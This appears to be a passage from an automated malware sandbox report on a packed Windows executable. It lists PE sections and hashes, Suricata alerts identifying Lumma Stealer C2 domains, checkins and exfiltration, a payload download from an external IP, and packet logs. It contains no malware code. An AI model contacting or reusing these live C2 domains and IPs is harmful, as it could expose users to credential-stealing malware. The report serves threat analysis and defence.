add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov cl, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24600	b399705572c88773e6b64d42bc90f223	False	1.0003758591065293	data	7.979729296866961	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fuykgmnl	0x54000	0x2b0000	0x2b0000	5df2b3b26f7cafa113941d36c770524c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eekmkenr	0x304000	0x1000	0x400	0106a7d9978266f37b4b007921e93701	False	0.734375	data	5.808121247550949	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x305000	0x3000	0x2200	3bb1812ef5ad877e35dd911167f18c9f	False	0.06767003676470588	DOS executable (COM)	0.7009480940842824	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T16:19:57.774869+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.11	50234	1.1.1.1	53	UDP
2024-12-20T16:19:58.000329+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.11	63123	1.1.1.1	53	UDP
2024-12-20T16:19:58.144316+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.11	62959	1.1.1.1	53	UDP
2024-12-20T16:19:59.778249+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.11	49706	104.21.21.99	443	TCP
2024-12-20T16:19:59.778249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49706	104.21.21.99	443	TCP
2024-12-20T16:20:01.953365+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.11	49706	104.21.21.99	443	TCP
2024-12-20T16:20:01.953365+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49706	104.21.21.99	443	TCP
2024-12-20T16:20:03.307430+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.11	49707	104.21.21.99	443	TCP
2024-12-20T16:20:03.307430+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49707	104.21.21.99	443	TCP
2024-12-20T16:20:04.167216+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.11	49707	104.21.21.99	443	TCP
2024-12-20T16:20:04.167216+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49707	104.21.21.99	443	TCP
2024-12-20T16:20:06.193581+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.11	49708	104.21.21.99	443	TCP
2024-12-20T16:20:06.193581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49708	104.21.21.99	443	TCP
2024-12-20T16:20:10.965378+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.11	49709	104.21.21.99	443	TCP
2024-12-20T16:20:10.965378+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49709	104.21.21.99	443	TCP
2024-12-20T16:20:15.816247+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.11	49713	104.21.21.99	443	TCP
2024-12-20T16:20:15.816247+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49713	104.21.21.99	443	TCP
2024-12-20T16:20:19.598721+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.11	49714	104.21.21.99	443	TCP
2024-12-20T16:20:19.598721+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49714	104.21.21.99	443	TCP
2024-12-20T16:20:20.666766+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.11	49714	104.21.21.99	443	TCP
2024-12-20T16:20:22.636883+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.11	49715	104.21.21.99	443	TCP
2024-12-20T16:20:22.636883+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49715	104.21.21.99	443	TCP
2024-12-20T16:20:22.642844+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.11	49715	104.21.21.99	443	TCP
2024-12-20T16:20:28.091193+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.11	49716	104.21.21.99	443	TCP
2024-12-20T16:20:28.091193+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49716	104.21.21.99	443	TCP
2024-12-20T16:20:28.903035+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49716	104.21.21.99	443	TCP
2024-12-20T16:20:30.377388+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.11	49717	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:19:49.415693998 CET	49676	443	192.168.2.11	20.189.173.3
Dec 20, 2024 16:19:50.009445906 CET	49674	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:19:50.134533882 CET	49673	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:19:50.650089979 CET	49671	443	192.168.2.11	204.79.197.203
Dec 20, 2024 16:19:58.467781067 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:19:58.467839003 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:19:58.467914104 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:19:58.542319059 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:19:58.542360067 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:19:59.025057077 CET	49676	443	192.168.2.11	20.189.173.3
Dec 20, 2024 16:19:59.625196934 CET	49674	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:19:59.743778944 CET	49673	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:19:59.778129101 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:19:59.778249025 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:19:59.907119989 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:19:59.907172918 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:19:59.907649994 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:19:59.962532043 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:00.094851017 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:00.094908953 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:00.095072985 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:01.953368902 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:01.953461885 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:01.953588963 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:02.014858007 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:02.014894962 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:02.014909983 CET	49706	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:02.014915943 CET	443	49706	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:02.089500904 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:02.089546919 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:02.089618921 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:02.092251062 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:02.092287064 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:02.298403025 CET	443	49704	173.222.162.42	192.168.2.11
Dec 20, 2024 16:20:02.298538923 CET	49704	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:20:03.307297945 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:03.307430029 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:03.308768034 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:03.308777094 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:03.309063911 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:03.310364008 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:03.310395956 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:03.310466051 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.167215109 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.167345047 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.167367935 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.167387962 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.167406082 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.167453051 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.167488098 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.167504072 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.167535067 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.168402910 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.184350014 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.184380054 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.184443951 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.184453011 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.184506893 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.191929102 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.243772030 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.369610071 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.373337984 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.373411894 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.373480082 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.373713970 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.373776913 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.373883963 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.373923063 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.373950958 CET	49707	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.373966932 CET	443	49707	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.976896048 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.976947069 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:04.977029085 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.977315903 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:04.977333069 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:06.193475962 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:06.193581104 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:06.194932938 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:06.194945097 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:06.195207119 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:06.196665049 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:06.196665049 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:06.196712017 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:09.323889017 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:09.324007988 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:09.324099064 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:09.336589098 CET	49708	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:09.336608887 CET	443	49708	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:09.671466112 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:09.671516895 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:09.671592951 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:09.671992064 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:09.672008038 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:10.965271950 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:10.965378046 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:10.966780901 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:10.966788054 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:10.967129946 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:10.968405962 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:10.968537092 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:10.968609095 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:10.968770027 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:10.968775988 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:14.212678909 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:14.212773085 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:14.212836981 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:14.213038921 CET	49709	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:14.213056087 CET	443	49709	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:14.597512960 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:14.597563028 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:14.597630978 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:14.597944021 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:14.597959995 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:15.816149950 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:15.816246986 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:15.817821026 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:15.817830086 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:15.818067074 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:15.826889038 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:15.827027082 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:15.827231884 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:15.827693939 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:15.827704906 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:18.076252937 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:18.078519106 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:18.078579903 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:18.078752041 CET	49713	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:18.078768015 CET	443	49713	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:18.374507904 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:18.374600887 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:18.374694109 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:18.374995947 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:18.375031948 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:19.598649979 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:19.598721027 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:19.600263119 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:19.600284100 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:19.600521088 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:19.602080107 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:19.602263927 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:19.602274895 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:20.666817904 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:20.667062044 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:20.667160034 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:20.703516006 CET	49714	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:20.703542948 CET	443	49714	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:21.413503885 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:21.413561106 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:21.413641930 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:21.414098978 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:21.414113045 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.636773109 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.636883020 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.639596939 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.639627934 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.639981031 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.641597033 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.642343044 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.642385960 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.642522097 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.642558098 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.642746925 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.642775059 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.642930031 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.642956972 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.643834114 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.643862009 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.643942118 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.643954992 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.644020081 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644037008 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.644057989 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644069910 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.644098043 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644107103 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.644134998 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644144058 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.644191980 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644215107 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.644242048 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644308090 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644308090 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644335032 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.644385099 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.691349983 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.691581964 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.691643000 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:22.691657066 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:22.691664934 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:26.742773056 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:26.742901087 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:26.742955923 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:26.743079901 CET	49715	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:26.743102074 CET	443	49715	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:26.801908016 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:26.801959038 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:26.802047014 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:26.802407026 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:26.802417040 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.090971947 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.091192961 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:28.093100071 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:28.093110085 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.093549013 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.094882965 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:28.094917059 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:28.094989061 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.903101921 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.903378963 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.903538942 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:28.903608084 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:28.903633118 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.903646946 CET	49716	443	192.168.2.11	104.21.21.99
Dec 20, 2024 16:20:28.903652906 CET	443	49716	104.21.21.99	192.168.2.11
Dec 20, 2024 16:20:28.908859968 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:29.028490067 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:29.028678894 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:29.028990030 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:29.148560047 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.377217054 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.377336025 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.377348900 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.377388000 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:30.377652884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.377667904 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.377686024 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.377697945 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.377702951 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:30.377724886 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:30.378228903 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.378241062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.378257990 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.378294945 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:30.378294945 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:30.496879101 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.496912956 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.497035980 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:30.569472075 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.569581985 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.569700956 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:30.573678017 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.573765039 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:30.573918104 CET	49717	80	192.168.2.11	185.215.113.16
